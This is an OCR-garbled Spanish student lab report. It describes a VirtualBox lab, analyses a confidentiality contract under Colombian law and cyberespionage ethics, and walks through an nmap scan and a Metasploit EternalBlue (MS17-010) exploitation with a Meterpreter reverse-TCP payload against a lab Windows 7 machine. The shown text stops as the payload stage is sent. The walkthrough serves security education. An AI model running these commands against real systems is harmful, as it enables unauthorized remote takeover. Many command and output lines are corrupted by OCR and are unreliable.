t144e:a956:281cx13
18.18.5

255 255 255 @
19.16.18.1

t7898

:5c7:187a:45£3:3774
'4342 Fced:4e38:7898:x11

i8.9.2.2
de tdnel isatap.{5BESBED2Z-9BB4-4799-BEB3-D289D73C246@3 :

i8.8_2 .15
255._.255.255.8
FelB@::2:x11

medios desconectados

de tidnel isatap.{531193BE-DF7B-4B3D-9D78-BB2BC?R99F1E}:

medios desconectados
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La direccion IP del Sistema Operativo huésped es 192.168.56.1

Figura 9

IP Windows 11 SO Anfitrion

7 C\WINDOWS\system32\cmd. X + v

Microsoft Windows [Versién 10.0.26100.3624]
(c) Microsoft Corporation. Todos los derechos reservados.

C:\Users\luigy>ipconfig

Configuracion IP de Windows

Adaptador de Ethernet VirtualBox Host-Only Network:

Sufijo DNS especifico para la conexién. . :

Vinculo: direccién IPv6 local. . . : fe80::7d52:4d37:38ca:90c0%16
Direccion IPvi : 192.168.56.1

Mascara de subred : 255.255.255.0

Puerta de enlace predeterminada $

Adaptador de LAN inaldmbrica Conexién de area localx 1:

Estado de los medios : medios desconectados
Sufijo DNS especifico para la conexién. . :

Fuente: Elaboracion Propia

Se ejecuta una prueba de conectividad mediante el envio de paquetes ICMP desde la
maquina virtual con Windows 7 hacia el sistema operativo huésped, verificando la respuesta para

validar la conexion.

Figura 10

Prueba de conexion MV a SO Huésped

"

B Administrador C\Windows!system32\cmd.exe E'@

Microsoft Windows [Uersidn 6.1.76811
Copyright <(c?> 2808? Microsoft Corporation. Reservados todos los derechos.

C:Userssusuariorping 192.168.56.1

Haciendo ping a 192.168.56.1 con 32 bytes de datos:

Respuesta desde 192.168.56.1: bytes=32 tiempo=ims TTL=127
1?22.168.56.1: hytes=32 tiempo=1ms TTL=127
1922.168.56.1: hytes=32 tiempo=1lms TTL=127

Rezspuesta desde 192.168.56.1: bytes=32 tiempo=1ims TTL=127

Estadisticas de p@ng para 192.168.56.1:

Pagquetes: enviados = 4, recihidos = 4, perdidos = 8
(Bx perdidos.

Tiempos aproximados de ida v vuelta en milisegundos:
Minimo = 1ms, Maximo = 1ms, Media = 1ms

C:s\Userssusuario’>

Fuente: Elaboracion Propia

La siguiente maquina virtual que se instala y configura en el laboratorio es Kali Linux



Figura 11

Kali Linux

Fuente: Elaboracion Propia

La configuracion de la maquina virtual es la siguiente:

Figura 12
Configuracion del Sistema Kali Linux

¥ Kali Linux - Settings

Basic Expert

Q General Sistema

) Placa base Procesador Aceleracién
Sistema

Memoria base:
Pantalla
4 MB
Almacenamiento Orden de arranque: v Jgg| Disquete
v @ Opt
Audio v 8o

P Red

Red
Chipset: PIIX3 +

Puertos serie IPM: Ninguno ~

USB Dispositivo apuntador: Tableta USB

. Caracteristicas extendidas: v Habilitar /O APIC
Carpetas compartidas

v Habilitar reloj hardware en tiempo UTC

Interfaz de usuario
Habilitar EFI (s6lo SO especiales)

Aceptar

Fuente: Elaboracion Propia

16384 MB

Cancelar

4096 MB




Figura 13

Configuracién Pantalla Kali Linux

# Kali Linux - Settings

Expert

Pantalla

Pantalla Grabacién
Sistema - = ©

Memoria de video:
0MB 128 MB

Pantalla

Almacenamiento Numero de monitores:

Audio

Factor de escalac 100%
fed 100%
Puertos serie Controlador gréfico: VMSVGA

Caracteristicas extendidas: Habilitar aceleracion
UsB

Carpetas compartidas

Interfaz de usuario

Aceptar Cancelar Ayuda

Fuente: Elaboracion Propia
Figura 14
Configuracion de Red Adaptador 1 Kali Linux

ﬁ Kali Linux - Settings

Expert

SALCIUIUGY, ¥ Flauiiial dalua ue audiv

Habilitar entrada de audio

Red

l:l Pantalla

ﬂ Almacenamiento

Adaptador 1 Adaptador2  Adaptado Adaptador 4

V' Habilitar adaptador de red

Audio Conectado a:  NAT

Red

R Tipo de adaptador:  Intel PRO/1000 MT Desktop (82540EM)

USB

95A

Carpetas compartidas _
v Cable conectado

i Interfaz de usuario Reenvio de puertos

Puertos serie

Puerto 1 Puer Puerto 3 Puerto 4

Aceptar Cancelar Ayuda

Fuente: Elaboracion Propia
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Figura 15

Configuracion de red Adaptador 2 Kali Linux

£ Kali Linux - Settings

Basic Expert

General Red

Adaptador 1~ Adaptador2  Adaptador3  Adaptador 4

Sistema

v Habilitar adaptador de red
Pantalla

Conectado a: Red NAT

Almacenamiento
Nombre: Red Nat laboratorio

Audio Tipo de adaptador:  Intel PRO/1000 MT Desktop (82540EM)

Red Modo promiscuo:  Permitir todo

Puertos serie Direccién MAC: 08002768C3DF

v Cable conectado
UsB

Carpetas compartidas

Interfaz de usuario q
Puertos serie

Peenctn 4

Aceptar Cancelar Ayuda

Fuente: Elaboracion Propia

Se ejecuta una prueba de conectividad mediante el envio de paquetes ICMP desde la
maéaquina virtual Kali Linux hacia el sistema operativo huésped, verificando la respuesta para

validar la conexion.

Figura 16

Validacion conexion Kali con SO anfitrion

File Actions Edit Wiew Help

zsh: corrupt history file /home/edisen/.zsh_histary
—ledisen® kali)-[=~]

=8 pang -c 4 pEFEEREE 1
PING 192.168.56,1 (192,168.56.1) 56(84) byres of data.

64 bytes from 102.168.56.1: icmp_seq=-1 ttl-127 time=3.18 ms
64 bytes from 192.168.56.1: icmp_seqgs=2? ttl=127 time=1.31 ms
64 bytes from 192.168.56.1: icmp_seq=3 ttl=-127 time=1.37 ms
64 bytes from 192.168.56.1: icmp_seg=4 ttl=127 time=1.35 ms

— 192.168.56.1 ping statistics —
4 packets transmitted, & received, 0% packet loss, time J020ms
rtt minfavg/max/mdey = 1.311/1.802/3.188/8.795 ms

r—{edisent® kali)-[~]
il

Fuente: Elaboracion Propia
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Se verifica la conectividad entre las maquinas virtuales mediante el envio de paquetes

ICMP desde Kali Linux hacia la maquina con Windows 7, cuya direccién IP es 10.10.10.5.

Figura 17

Conexion entre Kali y W7

edisen i@ kali: ~

File Actions Edit Wiew Help

zsh: corrupt history file /home/edisen/.zsh_history
—ledisen® kali)-|~ |

L1 c 4 10.10.18.
PING 18.10.16.5 (16.10.
64 bytes from 10.18.18.
64 bytes from 19,108,108,
64 bytes from 19.10.10.
64 bytes from 10.10.10.

8.5) 56(84) bytes of data.

: icmp_seq=1 tt1=128 time=4.86 ms
: icmp_seqs=2 ttl=128 time=2.36 ms
: lcmp_seq=3 ttl=128 time=1.18 ms
! iemp_seg=4 ttl=128 time=0.631 ms

L a RSy BN BT B |

— 10.10.10.5 ping statistics —
4 packets transmitted, 4 received, @% packet loss, time 3105ms
rtt minfavg/max/mdev = 0.631/2.258/4.864/1.629 ms

(edisen® kali)-|~]

$ ssi

Fuente: Elaboracion Propia

Actuacion Etica y Legal

Segun lo leido en el anexo 2 — escenario 2 y anexo 3 — acuerdo, se pueden determinar las
siguientes conclusiones:

Este acuerdo de confidencialidad presenta varias disposiciones que podrian ser
consideradas ilegales o poco éticas, especialmente en relacion con la Ley 1273 de 2009 de
Colombia, que protege la informacion y los datos digitales (Policia Nacional de Colombia.
n.a.). Algunos puntos criticos incluyen:

- Prohibicion de denunciar actividades ilegales (Capitulo Primero del contrato - Objeto):
La clausula que impide a la parte receptora denunciar ante las autoridades actividades
sospechosas de espionaje o apropiacion de informacion de terceros podria vulnerar el Articulo

269F de la Ley 1273, que sanciona la violacion de datos personales.
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- Interceptacion y acceso abusivo a sistemas informaticos (Capitulo 2 del contrato -
Definicion de informacion confidencial): La mencion de "datos de chuzadas, interceptacion de
informacidn, accesos abusivos a sistemas informaticos" sugiere posibles vulneraciones del
Articulo 269A (Acceso abusivo a un sistema informatico) y Articulo 269C (Interceptacion de
datos informaticos) de la Ley 1273.

- Exencion de responsabilidad legal para CyberFort Technologies (Capitulo 8 del
contrato — Solucion de Controversias) La clausula que obliga al receptor de informacion ilegal a
contratar un abogado privado y exime de responsabilidad a la empresa podria ser considerada
una estrategia para evitar consecuencias legales, lo que podria ser cuestionable desde una
perspectiva ética y legal.

- Restriccion de divulgacion de informacion ilegal (Capitulo cuarto - Obligaciones de la
parte receptora): La obligacion de no denunciar ante las autoridades actividades sospechosas de
espionaje incluyendo procesos en donde se intervenga la apropiacion de informacion de terceros,
deja dudas sobre los propdsitos reales de la compaifiia, los cuales van en contravia de la ética y
profesionalismo con que se debe actuar en los casos de manejo de informacion confidencial de
los clientes

- La obligacidon de no revelar informacion ilegal sin consentimiento de la empresa podria
entrar en conflicto con principios de transparencia y denuncia de delitos.

- Este acuerdo parece disefiado para proteger a CyberFort Technologies de cualquier
posible denuncia o responsabilidad legal, lo que plantea serias preocupaciones éticas y legales

Dado que el contrato presenta disposiciones que podrian vulnerar principios éticos y
legales, es importante considerar los estandares del Cadigo de Etica Profesional de COPNIA.

Este cddigo establece que los ingenieros deben actuar con integridad, transparencia y
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responsabilidad social, evitando cualquier participacion en actividades que comprometan la
legalidad o la ética profesional.

Si el acuerdo de confidencialidad impide la denuncia de actividades ilegales y busca
eximir de responsabilidad a la empresa, esto podria contradecir los principios de honestidad y
respeto por la ley que COPNIA exige a los profesionales de la ingenieria, ademas, aceptar un
trabajo bajo estas condiciones podria generar riesgos legales y reputacionales.

Personalmente evaluaria si la empresa esta dispuesta a modificar el contrato alineandolo
con los principios éticos y legales, de no ser asi, me replantearia si en verdad vale la pena aceptar
una propuesta de trabajo bajo estas condiciones, ya que este contrato plantea riesgos éticos y
legales, pero intentaria llegar a un acuerdo con la empresa en los siguientes términos:

- Solicitaria aclaraciones: Antes de tomar una decision, preguntaria a la empresa sobre las
disposiciones que me generan preocupacion, ¢Estan dispuestos a ajustar el contrato para eliminar
clausulas problematicas, como la prohibicion de denuncia de actividades ilegales?

- Consultaria con un experto legal: Un abogado especializado en derecho laboral o
ciberseguridad me podria ayudar a analizar el contrato en detalle asesorandome sobre sus
implicaciones, también podria orientarme en caso de que decida presentar una denuncia o
solicitar cambios.

- Investigaria si otras empresas en el sector manejan contratos de confidencialidad con
términos similares, si encuentro diferencias significativas, podria usarlas como argumento para
solicitar ajustes.

- Evaluaria la tolerancia al riesgo: Considerando lo que implica estar en una empresa que

impone este tipo de restricciones, teniendo en cuenta como podria afectar mi reputacién o
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incluso exponerme a una responsabilidad legal en un futuro, si el contrato exige la ocultacion de
informacion ilegal, podria verme obligado a decidir entre cumplir el acuerdo o actuar éticamente.

- Negociaria términos: Si la empresa realmente quiere contratarme, podria proponer
modificaciones al acuerdo que alineen su contenido con la ética profesional y la legislacion
vigente, un enfoque diplomatico podria abrir la puerta a ajustes razonables.

- Exploraria otras oportunidades: Si la empresa no esta dispuesta a modificar el acuerdo
consideraria buscar alternativas laborales en compafiias con valores alineados con los principios
de transparencia y legalidad.

En este tipo de situaciones, es clave actuar con cautela y no apresurarse a aceptar
condiciones que podrian comprometer mi integridad profesional.

Un ejemplo de mi solicitud podria ser el siguiente:

Asunto: Solicitud de aclaraciones sobre acuerdo de confidencialidad

Estimados representantes de CyberFort Technologies,

Me dirijo a ustedes con el propdsito de solicitar aclaraciones respecto a ciertos aspectos
del acuerdo de confidencialidad que me ha sido presentado en el marco del proceso de seleccion
de personal. Quisiera asegurarme de que los términos del acuerdo cumplen con los estandares
legales y éticos aplicables en Colombia, en especial con la Ley 1273 de 2009 y el Cddigo de
Etica Profesional del COPNIA.

De manera especifica, agradeceria su orientacion sobre los siguientes puntos:

1. Prohibicién de denuncia de actividades sospechosas: En el acuerdo se menciona
que la parte receptora se compromete a no denunciar ante las autoridades actividades

sospechosas de espionaje o apropiacién de informacidn de terceros. ¢Podrian aclararme el
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propdsito de esta disposicion y cdmo se alinea con la legislacion vigente en materia de
transparencia y responsabilidad legal?

2. Mencion de acceso abusivo a sistemas informaticos e interceptacion de
informacion: Se hace referencia a informacion considerada confidencial que incluye términos
como "datos de chuzadas, interceptacion de informacion y accesos abusivos a sistemas
informaticos". ¢Podrian confirmarme que el manejo de esta informacion cumple con la
normativa de proteccién de datos y que no vulnera disposiciones como el articulo 269A y 269C
de la Ley 1273?

3. Exencidn de responsabilidad de CyberFort Technologies: En la clausula sobre
solucion de controversias se indica que, en caso de que la informacion ilegal o confidencial sea
encontrada en manos del receptor, este debera acudir a un abogado privado y dejar exenta de
responsabilidad a la empresa. ¢Podrian explicarme el alcance de esta disposicion y si existen
precedentes legales que sustenten esta exencidn de responsabilidad?

Agradeceria su respuesta para poder tomar una decision informada sobre mi participacion
en el proceso de seleccidn.

Quedo atento a sus comentarios y agradezco de antemano su disposicién para aclarar

estos puntos.
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Ciberespionaje y Etica

¢Hasta qué punto las empresas de ciberseguridad deben tener acceso a informacion
sensible de sus clientes durante una auditoria de seguridad, y como se puede garantizar que este
acceso no sea explotado de manera indebida?

Segun la ley estatutaria 1581 del 2012 Las empresas de ciberseguridad deben tener
acceso a la informacion estrictamente necesaria para evaluar vulnerabilidades y riesgos durante
una auditoria de seguridad, este acceso debe estar regulado por acuerdos de confidencialidad y
protocolos de seguridad que garanticen que la informacidn sensible no sea utilizada de manera
indebida (Archivo General de la Nacion. n.a.)

Ademas, el Decreto 1377 de 2013 reglamenta parcialmente la Ley 1581 y establece
requisitos especificos para el tratamiento de datos personales, incluyendo la necesidad de
acuerdos de confidencialidad y protocolos de seguridad (Funcion Publica. n.a.)

- Acuerdos de confidencialidad: Antes de la auditoria, se debe firmar un contrato que
establezca limites claros sobre el uso y proteccién de la informacion.

- Acceso restringido: La empresa auditora solo debe acceder a los datos estrictamente
necesarios para la evaluacion, evitando la recopilacion excesiva.

- Cifrado y anonimizacién: Se pueden aplicar técnicas de cifrado y anonimizacién para
proteger datos sensibles sin comprometer la auditoria.

- Supervision y auditoria interna: La empresa auditada debe monitorear el acceso y uso de
la informacion por parte de los auditores.

- Cumplimiento normativo: Es fundamental que la auditoria cumpla con regulaciones de

proteccién de datos y estandares de seguridad.
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El manejo responsable de la informacion es clave para mantener la confianza entre las
empresas y sus clientes.

¢ Qué mecanismos de supervision y control deberian implementarse en las empresas de
ciberseguridad para evitar que sus empleados utilicen herramientas avanzadas de analisis forense
con fines no autorizados o éticamente cuestionables?

Para evitar el uso indebido de herramientas avanzadas de analisis forense en empresas de
ciberseguridad, es fundamental implementar mecanismos de supervision y control rigurosos.
Algunas estrategias clave son:

- Politicas de acceso restringido: Limitar el uso de herramientas forenses solo a
empleados autorizados y en contextos especificos de auditoria o investigacion.

- Monitoreo y auditoria continua: Implementar registros detallados de actividad y
auditorias periddicas para detectar usos no autorizados de herramientas forenses.

- Capacitacion en ética y cumplimiento: Implementar un programa de capacitacion y
educacion a los empleados enfocado en los riesgos legales y éticos del uso indebido de
herramientas de analisis forense.

- Autorizacion previa para investigaciones: Requerir aprobacion formal antes de realizar
cualquier analisis forense, asegurando que se cumplan los protocolos establecidos.

- Uso de entornos controlados: Ejecutar andlisis forenses en entornos aislados y
protegidos para evitar la manipulacién de datos sensibles.

- Sanciones claras: Establecer consecuencias legales y disciplinarias para quienes utilicen
herramientas forenses con fines no autorizados.

Estas medidas ayudan a garantizar que las herramientas de analisis forense sean utilizadas

de manera responsable y alineada con principios éticos.
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¢ Como deberian responder los gobiernos y organizaciones cuando descubren que una
empresa de ciberseguridad contratada ha cometido actos de ciber espionaje? ¢Cuéles serian las
medidas adecuadas para restaurar la confianza y asegurar que no ocurra nuevamente?

Cuando un gobierno u organizacion descubre que una empresa de ciberseguridad ha
cometido actos de ciber espionaje, es crucial actuar con rapidez y firmeza para mitigar el dafio,
restaurando la confianza y previniendo futuros incidentes, algunas medidas clave incluyen:

1. Investigacion y sanciones

- Auditoria forense: Realizar una investigacion exhaustiva para determinar el alcance del
espionaje y las posibles victimas.

- Acciones legales: Aplicar sanciones conforme a la legislacion vigente, incluyendo
multas, revocacion de licencias o incluso acciones penales contra los responsables.

- Transparencia: Publicar un informe detallado sobre el incidente para demostrar
compromiso con la seguridad y la legalidad.

2. Restauracion de confianza

- Revision de contratos: Evaluar y modificar los acuerdos con proveedores de
ciberseguridad para incluir clausulas mas estrictas sobre ética y cumplimiento.

- Comunicacion con afectados: Informar a las partes afectadas sobre el incidente y las
medidas tomadas para proteger sus datos.

- Fortalecimiento de normativas: Implementar regulaciones mas estrictas para evitar que
empresas con antecedentes de espionaje operen en el sector.

3. Prevencion de futuros incidentes

- Supervision continua: Establecer mecanismos de monitoreo y auditoria para detectar

irregularidades en tiempo real.
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- Capacitacion en ética: Instruir a empleados y proveedores sobre la importancia de la
seguridad y el cumplimiento normativo.

- Colaboracion internacional: Trabajar con organismos globales para compartir
informacidn sobre amenazas y mejorar la ciberseguridad a nivel mundial.

Estos pasos ayudan a garantizar que el incidente no se repita y que la confianza en los

servicios de ciberseguridad se mantenga.
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Prueba de Penetracion Red Team

Las pruebas de penetracion (Penetration Testing) son cruciales para identificar las
vulnerabilidades existentes en redes empresariales, aplicaciones y sistemas informaticos, que
pudieran ser explotadas por algin atacante o persona maliciosa, existen diferentes metodologias
de Pentesting las cuales estan estructuradas en fases (Zhao et al., 2018), este proceso esta
estructurado en etapas en las cuales se realiza un reconocimiento, escaneo, una fase de
explotacion, escalada de privilegios y analisis de los resultados esperados, garantizando siempre
un enfoque sistematico y repetible, terminando con una documentacion en donde se plasman los
procedimientos, herramientas, resultados, conclusiones y recomendaciones (Alsamadi &
Khreishah. 2019).

Segun una planificacion cuidadosa acompafada de una documentacion detallada es
fundamental para que las pruebas de penetracidn sean efectivas, estas deben brindar
recomendaciones precisas que permitan mitigar los riesgos identificados y corregir las brechas
existentes (Kumar & Kumari. 2020).

El ejercicio se llevo a cabo en un laboratorio dentro de un entorno controlado,
configurado en dos maquinas virtuales: una con Windows 7 y otra con Kali Linux, estas
plataformas fueron utilizadas para la ejecucion de pruebas de penetracién, permitiendo el analisis
de vulnerabilidades y la evaluacién de técnicas de explotacion.

En la primera etapa RECONOCIMIENTO, se realiz6 con un analisis de la maquina
Windows desde la maquina Kali, utilizando la herramienta NMAP.

Esta es una herramienta de cddigo abierto que se utiliza para el escaneo de redes y la
busqueda de vulnerabilidades, es muy empleada en las auditorias de seguridad, la gestion de

redes y en las pruebas de penetracion (Manish. 2025).
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Opera mediante el envio de paquetes a las maquinas conectadas a la red, para luego

analizar las respuestas y determinar informacion clave como:

. Identificacion de los puertos que se encuentran abiertos

. Inferir el sistema operativo de los dispositivos

. Identificar las versiones de software en ejecucion

. Realizar analisis avanzados con el objetivo de buscar vulnerabilidades
conocidas.

Segun los datos suministrados en el anexo 4 escenario 3, existe la posibilidad de que haya
una aplicacion instalada en Windows 7 la cual tiene asociado un exploit con el cual se puede
obtener acceso a traves de Shell y desde alli empezar una escalada de privilegios, por lo tanto, lo
primero que debemos hacer es identificar cuales son las aplicaciones que estan instaladas y
cuales servicios estan corriendo en Windows, esto se hace con el comando:

nmap -p- -sV --script=vuln <IP_Windows_7>

en donde -p escanea todos los puertos, -sV identifica las versiones de todos los servicios
y —script=vuln ejecuta los scripts que detectan las vulnerabilidades.

1. Se detectd una vulnerabilidad critica la MS17-010 (CVE-2017-0143), la cual,
permite la ejecucion remota en servidores SMBV1, esto quiere decir que un atacante puede tomar
control del sistema sin autenticacion, su riesgo es ALTO, esta vulnerabilidad fue explotada por
EternalBlue un exploit utilizado en el ataque de WannaCry.

2. Servicios abiertos con posibles riesgos: Puerto 3389 (RDP - Remote Desktop
Protocol) Estado: Abierto, pero con timeout en ssl-cc-ccs-injection esto puede indicar problemas

de configuracién
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3. Puertos 5357 y 10243 (Microsoft HTTPAPI - SSDP/UPNP) se encuentran abiertos

sin vulnerabilidades detectadas, sin embargo, UPnP puede ser explotado por atacantes de la red.

Figura 18

Primer escaneo con NMAP

’j[ edisen® kali)-[~]

map -p- -sV -—script=vuln 10.10.10.5

Starting Nmap 7.95 ( https://nmap.org ) at 2025-05-03 20:27 -05
Nmap scan repert for 10.10.10.5

Host is up (@.0017s latency).

Not shown: 65521 closed tcp ports (reset)

PORT STATE SERVICE VERSION

135/tcp  open msrpc Microsoft Windows RPC

139/tcp open netbios-ssn Microsoft Windows netbios-ssn

445/tcp  open microsoft-ds Microsoft Windows 7 - 1@ microsoft-ds (workgroup: WORKGROUP)
554/tcp  open rtsp?

2869/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
| _http-dombased-xss: Couldn't find any DOM based XSS.
|_http-aspnet-debug: ERROR: Script execution failed (use -d to debug)
|_http-csrf: Couldn't find any CSRF vulnerabilities.
|_http-stored-xss: Couldn't find any stored XSS vulnerabilities.
3389/tcp open tcpwrapped

| _ssl-ccs-injection: No reply from server (TIMEOUT)

5357/tcp open http Microsoft HTTPAPI httpd 2.@ (SSDP/UPNP)
|_http-dombased-xss: Couldn't find any DOM based XSS.

|_http-csrf: Couldn't find any CSRF vulnerabilities.

| _http-stored-xss: Couldn't find any stored XSS vulnerabilities.

| _http-server-header: Microsoft-HTTPAPI/2.0

10243/tcp open http Microsoft HTTPAPI httpd 2.@ (SSDP/UPnP)
|_http-dombased-xss: Couldn't find any DOM based XSS.

| _http-server-header: Microsoft-HTTPAPI/2.0

|_http-stored-xss: Couldn't find any stored XSS vulnerabilities.
|_http-csrf: Couldn't find any CSRF vulnerabilities.

49152/tcp open msrpc Microsoft Windows RPC
49153/tcp open msrpc Microsoft Windows RPC
49154/tcp open msrpc Microsoft Windows RPC
49155/tcp open msrpc Microsoft Windows RPC
49156/tcp open msrpc Microsoft Windows RPC
49157/tcp open msrpc Microsoft Windows RPC

MAC Address: 08:00:27:9C:65:A1 (PCS Systemtechnik/Oracle VirtualBox virtual NIC)
Service Info: Host: PC202006; 0S: Windows; CPE: cpe:/o:microsoft:windows

Host script results:

| _smb-vuln-ms10-054: false
| smb-vuln-ms17-01@:

[B /UL NERABLE !

| Remote Code Execution wvulnerability in Microsoft SMBvl servers (ms17-010)

| State: VULNERABLE

| IDs: CVE:CVE-2017-0143

| Risk factor: HIGH

| A critical remote code execution vulnerability exists in Microsoft SMBvl
| servers (ms17-918).
|

|

|

|

|

Disclosure date: 2017-03-14

References:
https://blogs.technet.microsoft.com/msrc/2017/05/12/customer-guidance-for-wannacrypt-attacks/
https://technet.microsoft.com/en-us/library/security/ms17-810@.aspx

|_ https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-0143
| _samba-vuln-cve-2012-1182: NT_STATUS_ACCESS_DENIED
| _smb-vuln-ms10-061: NT_STATUS_ACCESS_DENIED

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 477.87 seconds

(edisen® kali)-[~]
Lo

Fuente: Elaboracion Propia

Lo siguiente es realizar una busqueda de exploits asociados a la vulnerabilidad
encontrada utilizando la herramienta Metasploit incluida en Kali Linux, segin esta es una

herramienta de codigo abierto desarrollada en el afio 2003 por H.D. Moore. Es utilizada en
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pruebas de penetracion y auditorias de seguridad, contiene una amplia base de datos con una
coleccidn de vulnerabilidades y métodos de explotacion, se adapta a distintos escenarios de
pruebas permitiendo la integracion de médulos personalizados, opera mediante una consola de
comandos, asi como una interfaz gréafica, funciona en sistemas operativos de Linus, Windows y
macOS, su principal uso es para identificar y remediar cualquier vulnerabilidad existente,
también es utilizada por los ciberdelincuentes para explotar las vulnerabilidades de un sistema
objetivo (Ciberseguridad. 2025).

Esta herramienta tiene cinco madulos clasificados segun la tarea que realicen:

1. Cargas Utiles: estos son cddigos de Shell con instrucciones para realizar acciones
predeterminadas

2. Exploits: son secuencias de comandos utilizadas para aprovechar las
vulnerabilidades de un sistema o aplicacion

3. Publicaciones: Permiten la recopilacién de informacién profunda para infiltrarse
mas en un sistema luego de la explotacion.

4. Codificadores: Ocultan las cargas utiles en transito, garantizando que se entreguen
correctamente al sistema de destino, evitando su deteccidn por los antivirus, IDS o IPS.

5. NOP: estos crean secuencias aleatorias de los bytes con el fin de evitar los IDS

6. Auxiliares: estos son modulos auxiliares que incluyen escaneos de puertos,
vulnerabilidades entre otras herramientas de explotacion.

Ejecutando el comando search eternalblue se inicia la busqueda de un exploit asociado a

la vulnerabilidad encontrada



Figura 19

Busqueda de Exploit con Metasploit

Password: [ ]

| |
| |
| |
| |
| [ok] |
| |
| |
| https://metasploit.com |
| |

=[ metasploit v6.3.43-dev 1
+ — --=[ 2376 exploits - 1232 auxiliary - 416 post ]
+ == --=[ 1388 payloads - 46 encoders - 11 nops ]
+ = --=[ 9 evasion ]
Metasploit Documentation: https://docs.metasploit,com/

rch eternalblue
Matching Modules
# Name Disclosure Date Rank Check

0 exploit/windows/smb/ms17_010_ FNEHISNENE 2017-03-14 average Yes
on

1 exploit/windows/smb/ms17_01@_psexec 2017-03-14 normal  Yes
emote Windows Code Execution

2 auxiliary/admin/smb/ms17_010_command 2017-03-14 normal  No
emote Windows Command Execution

3 auxiliary/scanner/smb/smb_ms17_010 normal  No

4 exploit/windows/smb/smb_doublepulsar_rce 2017-04-14 great  Yes
Interact with a module by name or index. For example info &, use & or use expl
msf6 > |}
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Description

Ms17-010 NEENENENNR SVB Remote Windows Kernel Pool Corrupti
MS17-810 EternalRomance/EternalSynergy/EternalChampion SMB R
MS17-810 EternalRomance/EternalSynergy/EternalChampion SMB R

M517-018 SMB RCE Detection
SME DOUBLEPULSAR Remote Code Execution

Fuente: Elaboracion Propia

Efectivamente existe un exploit el nimero 0 el cual se ejecutara de la siguiente forma con

el comando use 0

Figura 20

Ajuste configuracion metasploit 1

msfé > use @

[#] No payload configured, defaulting to windows/x64/meterpreter/reverse_tcp

msf6 exploit{windows/smb/ms17_0810_eternalblue) > |

Fuente: Elaboracion Propia

Es necesario realizar unos ajustes en la configuracion, por lo tanto, se ejecuta el comando

show options para determinar los datos faltantes
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Ajuste configuracion Metasploit 2

Module options (exploit/windows/smb/ms17_810_eternalblue):

Name Current Setting Required Description

RPORT 445
SMBDomain

SMBPass
SMBUser
VERIFY_ARCH  true

VERIFY_TARGET true

The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metaspl
oit.html

The target port (TCP)

(Optional) The Windows domain to use for authentication. Only affects Windows Server 2008 R2,
Windows 7, Windows Embedded Standard 7 target machines.

(Optional) The password for the specified username

(Optional) The username to authenticate as

Check if remote architecture matches exploit Target. Only affects Windows Server 2008 R2, Wind
ows 7, Windows Embedded Standard 7 target machines.

Check if remote 0S matches exploit Target. Only affects Windows Server 2008 R2, Windows 7, Win
dows Embedded Standard 7 target machines.

Payload options (windows/x64/meterpreter/reverse_tcp):

Name Current Setting Required Description

EXITFUNC thread
LHOST 10.10.10.4
LPORT bl

Exploit target:
Id Name

0 Automatic Target

yes
yes
yes

Exit technique (Accepted: "', seh, thread, process, none)
The listen address (an interface may be specified)
The listen port

View the full module info with the info, or info -d command.

nsf6 exploit(windows/smb/ms17_010_eternalblue) > I

Fuente: Elaboracion Propia
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Es necesario indicarle la IP de la méaquina objetivo, esto se hace por medio del comando

Set RHOST 10.10.10.5

Figura 22

Ingreso IP equipo atacante

Name Current Setting Required Description

RPORT 45
SMBDomain

SMBPass
SMBUser
VERIFY_ARCH  true

VERIFY_TARGET true

Fuente: Elaboracion Propia

yes
no

no
no
yes

The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metaspl
oit.html

The target port (TCP)

(Optional) The Windows domain to use for authentication. Only affects Windows Server 2008 R2,
Windows 7, Windows Embedded Standard 7 target machines.

(Optional) The password for the specified username

(Optional) The username to authenticate as

Check if remote architecture matches exploit Target. Only affects Windows Server 2008 R2, Wind
ows 7, Windows Embedded Standard 7 target machines.

Check if remote OS matches exploit Target. Only affects Windows Server 2008 R2, Windows 7, Win
dows Embedded Standard 7 target machines.
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Luego se ingresa el puerto libre de la maquina atacante, por lo general se utiliza el puerto

444 0 443

Figura 23
Ingreso puerto libre maquina atacante

Payload options (windows/x64/meterpreter/reverse_tcp):

Wame Current Setting Required Description
EXITFUNC thread Exit technigue (Accepted: ', seh, thread, process, none)

LHOST 10.10.108.4 The listen address (an interface may be specified)

The Listen

Fuente: Elaboracion Propia

Se corre el exploit con el comando run y se obtiene el control de la maquina Windows

Figura 24

Ejecucion de exploit

File Actions Edit

nsf6 exploit(windows/smb/ms17_810_eternalblue) > run

[#] Started reverse TCP handler on 10.10.10.4:444
[*] 10.10.10.5:445 - Using auxiliary/scanner/smb/smb_ms17_010 as check

10.10.10,5:445 - Host is likely VULNERABLE to MS17-810! - Windows 7 Professional 7601 Service Pack 1 x64 (64-bit)
[*] 10.10.10.5:445 - Scanned 1 of 1 hosts (100% complete)
10.10.10.5:445 - The target is vulnerable.
[*] 10.10,10.5:445 - Connecting to target for exploitation.
10.10.10.5:445 - Connection established for exploitation.
10.10.10.5:445 - Target 0S selected valid for 05 indicated by SMB reply
[+] 10.10.10.5:445 - CORE raw buffer dump (42 bytes)
[#] 10.10.10.5:445 - 0x00000000 57 69 6e 64 6f 77 73 20 37 20 50 72 6f 66 65 73 Windows 7 Profes
[#] 108.10.10.5:445 - 0«00000010 73 69 6 6e 61 6c 20 37 36 30 31 20 53 65 72 76 sional 7601 Serv
[#] 10.10.10.5:445 - 0«00000020 69 63 65 20 50 61 63 6b 20 31 ice Pack 1
10.10.10.5:445 - Target arch selected valid for arch indicated by DCE/RPC reply
[#] 10.10.10.5:445 - Trying exploit with 12 Groom Allocations.
[#] 10.10.10.5:445 - Sending all but last fragment of exploit packet
[*] 10.10.10.5:445 - Starting non-paged pool grooming
10.10.10.5:445 - Sending SMBv2 buffers
10.10.10.5:445 - Closing SMBv1 connection creating free hole adjacent to SMBv2 buffer.
[*] 10.10.10.5:445 - Sending final SMBv2 buffers.
[*] 10.10,10.5:445 - Sending last fragment of exploit packet!
[#] 10.10.10.5:445 - Receiving response from exploit packet
10.10.10.5:445 - ETERNALBLUE overwrite completed successfully (@=C000000D)!
5

[+] 10.10,10.5:445 - Sending egg to corrupted connection.

[*] 10.10.10.5:445 - Triggering free of corrupted buffer.

[*] Sending stage (200774 bytes) to 10.10.10.5

